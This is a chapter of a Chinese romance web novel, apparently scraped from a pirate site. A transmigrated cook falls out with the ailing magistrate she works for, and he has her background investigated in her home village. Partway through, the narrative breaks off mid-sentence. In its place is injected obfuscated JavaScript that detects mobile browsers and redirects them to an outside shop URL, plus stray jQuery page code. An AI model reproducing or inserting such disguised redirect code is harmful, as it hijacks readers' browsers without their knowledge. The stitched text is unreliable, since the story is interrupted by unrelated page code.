秦见君进王府一个多月,几乎日日都是晴天,这还是第一次有“风雨欲来”的感觉。
周遭连空气都冷了下来,阴影中的艾草不再碧绿,看着更像是阴沉的墨绿色。
“郎君!要下雨了!”裴小之从石甬路小跑着过来,近了才发觉二人之间的气氛有些不对。
“要......下雨了......郎君回不回淌虹苑?”裴小之的目光在二人之间逡巡,连说话的声音都犹疑起来。
“回。”裴眠先开口了。
裴小之连忙去推裴眠,转身前向秦见君投去了一个询问的眼神,但裴眠自始至终都没再看过她。
两人走了不一会儿,窗外便响起淅淅沥沥的雨声。
秦见君将窗台上的艾草拿回了厨房,她盯着窗台看了许久,最后将窗户关上了。
没了日光,厨房里也变得有些暗,一盏烛火亮起,照亮了秦见君和她的一方小天地。
早知道就不多嘴了......这下要怎么解释自己的身份呢?说自己是从科技发达的现代穿越过来的?裴眠会信吗?
秦见君摘了会儿艾草,忽然重重地叹了口气,她盯着面前的木盆开始发呆,恍然间还以为自己回到了现代,都是一个人、一间屋子、一盏灯,熟悉的孤独感从心底爬出来,像长着倒刺的藤蔓,将她的心紧紧缠住......
裴眠回了书房,却没心思看书,而是坐在窗边看雨。
晶莹的水滴不断从天上落下来,砸在绿叶上、花瓣上、石板上,发出啪嗒声,利落又清脆,但裴眠的心里却乱成一团。
他已经离开虔渊州有一段时日了,许久没有动作,朝中众臣们也大都相信他是真的被贬后死心不再插手朝堂之事,那么究竟是谁将秦见君安插入知州府的呢?
袁原怕窗边寒气重,忍不住现身为裴眠盖了一块毯子。
裴眠缩在毯子里沉默着,方才冰凉的手脚慢慢回了一点温上来。
虽然近一个月吃食上相较之前已是极大进步了,但身子却没什么大起色,他总觉得自己身体里有一只怪物,所有吃进去的食物都被那怪物吸收,待有一日他再也不能进食,那怪物便会将他吞噬。
“袁原。”
袁原低头看着裴眠,裴眠的脸上没什么表情,声音也冷冷的:“仔细查查她,去井沟村查。”
袁原领命出去了,他知道这是要彻查秦见君,裴眠并不想杀她,只要能证明她身份清白,这厨娘依然是做得的。
青团的香气萦绕在厨房中,裴小之一边捧着青团吹凉,一边问:“今日是怎么了?”
秦见君手下一顿,很快又继续刷起锅来,嘴上貌似不在意道:“说错话,惹他不高兴了。”
裴小之好不容易咬上了青团,喷香有韧劲的青团皮包裹着软糯绵密的红豆沙馅入口,甜滋滋的味道绽放在舌尖上。
裴小之爱极了秦见君做的甜食,甜而不腻,还能保持食材原有的味道,层次之丰富实在让人惊叹。
“我们郎君有时爱闹别扭,不是真的生气,你做些好吃的哄哄他就好了。”裴小之啃着青团,不在意道。
秦见君在心中叹了口气,这次恐怕不是单纯的“闹别扭”了......
裴小之吃完一个青团,便催着秦见君将剩下的青团都放入食盒中,他一手拎着食盒一手撑着伞,转身对秦见君道:“我去给郎君送青团,放心吧,他很好哄的。”说着便踏入雨中。
这雨起先是淅淅沥沥的,接着便越下越大、越下越密,豆大的雨点砸在瓦片、窗棂上,噼里啪啦的声音甚至让秦见君感到了片刻耳鸣。
窗外连通向落霞轩的甬路都看不清了,眼前似乎蒙上了一层白白的珍珠帘子,秦见君转头看了一眼莲花漏,倒是不着急做晚饭,那就赏会儿雨吧。
如果裴眠要辞退自己,那要去哪儿找工作呢?要不然先去酒楼里应聘厨子试试?可绵州最大的珍馐楼主厨已经记恨上自己了......
因着只有酒楼有官方许可的酿酒权,其余脚店只能去酒楼进货,所以脚店肯定也不敢得罪大酒楼,自己简直就是前程堪忧......
正想着,雨帘中忽然闯进来一个人影,秦见君定睛一看,是裴小之!
裴小之进了厨房,衣摆都湿透了,连头发上都是雨水,手中的食盒也被打湿了,秦见君忙上前接过食盒,发觉这食盒的重量没变——裴眠没有吃青团。
裴小之看秦见君掂量食盒,便有些尴尬地冲她笑了笑:“郎君这次好像是真的生气了......”他接过秦见君递来的毛巾擦了擦头发,犹犹豫豫地看着秦见君,似乎不知道该如何开口。
秦见君只好自己问:“大人说了什么吗?”
裴小之的眼神左右飘忽了一会儿,又看向秦见君,似是下了决心般才开口:“郎君说......这几日你先不用给他做饭了......”
秦见君点了点头,裴小之忙安慰她:“郎君方才说要重新接手绵州事务,许是忙起来没胃口才......”
“知道的......”秦见君觉得,自己大概就要被辞退了。
“之管家,府上能烧纸吗?”明日便是清明了,虽然穿越了,但她还是想按照习惯给韩老爷子烧点纸钱过去。
“府上是不能烧的。”裴小之看秦见君的脸色更差了,于是道:“你去侧门外头烧吧,我同守门的小厮打个招呼,不必走太远,近日烧纸的人多,外头有些乱,若是被孤魂野鬼缠上就不好了。”
“孤魂野鬼?”秦见君问。
“是啊,每逢清明、中元,家中有孩子和小娘的,都是不许他们出门的,因为身上阳气不足,容易被孤魂野鬼缠上,前几年我在虔渊州时,听说有一户人家未出嫁的小娘被鬼魂缠住了,一夜之间性情大变,出嫁当日竟一头撞死在夫家门口!”
秦见君眨了眨眼,这故事还挺耳熟的......
“所以你千万别走远,也别夜里烧。”裴小之叮嘱道。
“多谢提醒。”秦见君应了声。
不用给裴眠做饭,秦见君自己也没心思摆弄,晚饭草草对付后便回了落霞轩。
秦见君难得睡了个懒觉,昨日的雨一直下到半夜才停,她洗漱后在院子里打八段锦,鼻尖萦绕着被水浸润的花香。
院子中的花草被雨水冲刷得干干净净,叶子碧绿、花朵鲜艳。
进厨房后,秦见君看见台面上备着的面粉,忽然想起昨日答应裴眠给他做千层饼吃的......
最后她还是做了千层饼,自己吃了几块,将剩下的都留在蒸屉里,等裴小之自己来寻。
上街溜达了一圈,买了几扎纸钱,顺便问了问附近有没有招工的,得到的答案都是否定的,其中有几个相熟的菜农听她问这个,还笑她本就在府中做事竟然还贪外头的工,也不怕知州大人怪罪。
秦见君打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444784|141165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哈哈糊弄过去了,恐怕过几日,她若是还死皮赖脸留在府中,那才会被知州大人怪罪......
裴眠又开始吃不下东西了,大厨房端来的饭菜他看着十分没胃口,连筷子都不想动,裴小之看着着急,却也无可奈何。
“郎君......你同秦小娘置气,也不能饭都不吃啊......”裴小之劝道。
裴眠不说话,饿了快一天,他有些没力气。
裴小之重重叹了口气,退出了屋子,他们家郎君有时候犯起倔来,谁都劝不住。
裴小之一走,袁原便翻窗进来了,他风尘仆仆,衣摆上还有干透了的泥点子。
“大人,查好了。”
裴眠默了默,没立刻让他说,他有点心慌,如果秦见君真是哪家官员派来的奸细......要如何处置她才好呢?
可无论如何,真相就在那里,或早或晚,他都要知晓的。
“说。”
袁原拿出府中小厮当初抄录的路引递给裴眠,将自己昨夜的收获讲给他听:“秦见君的身份是真的,她确实是湖梁县井沟村秦留志的女儿,相貌也能与村民的描述对上,从小便待在井沟村,去的最远的地方是湖梁县城,并未念过书......”
袁原顿了一下,继续道:“一个月前她从井沟村逃出,是因为遭受了父亲秦留志的毒打......”
说到这里,他清楚看见裴眠皱了一下眉。
“秦留志此人以务农为生,家中一共父母姐弟四口人......”说到这里,袁原停住了,似是有什么话想说,还在斟酌要不要说出口。
裴眠的声音有些冷,道:“说。”
“秦小娘出逃前已许了人家。”
裴眠垂着眸子,苍白的手攥着路引抄录,手背绷起的青筋十分明显。
“那人是井沟村附近的下米村一屠户家的儿子,听说脑子不太好,他爹为了给他娶媳妇,拿出了许多彩礼钱。”袁原说到这里,心中也有些为秦见君不平,她手艺好、人也温和,怎么就摊上了这样的爹?
“秦小娘出逃后,那屠户家上门要人不成,便让秦留志赔了两贯钱,秦留志向村民扬言,若是找回了秦小娘,定要好好教训她一顿。”
“好好教训她......”裴眠低声重复道,他将手中的纸展平了仔细看着。
袁原带回来的消息,并不能完全打消自己的疑虑,如果她真的从小没出过湖梁县,也从未上过学,那是如何知晓那些官场的弯弯绕绕的?
想不出答案,裴眠便让袁原推着自己出去散散心,路过池塘时,袁原问往哪边去,裴眠指了另一个方向,这是要避开厨房。
轮椅压在石甬路上,声音并不大,但还是惊动了墙下打盹的两位小厮。
“大......大人!”两人惊慌失措地起身行礼,头都不敢抬。
“你们不好好守着侧门,怎么在这里偷懒?”袁原问。
“是......是之管家,说秦小娘今日要来侧门烧纸......让我们给秦小娘腾位置......”小厮回得胆战心惊的,生怕裴眠不高兴将自己逐出府去。
“她在哪儿?”裴眠出声了。
“在、在侧门外头,没、 没走远......”小厮回。
裴眠微微点头,跪在地上低着头的小厮自然看不见,这是点给袁原看的。
袁原会意,推着轮椅往侧门去了。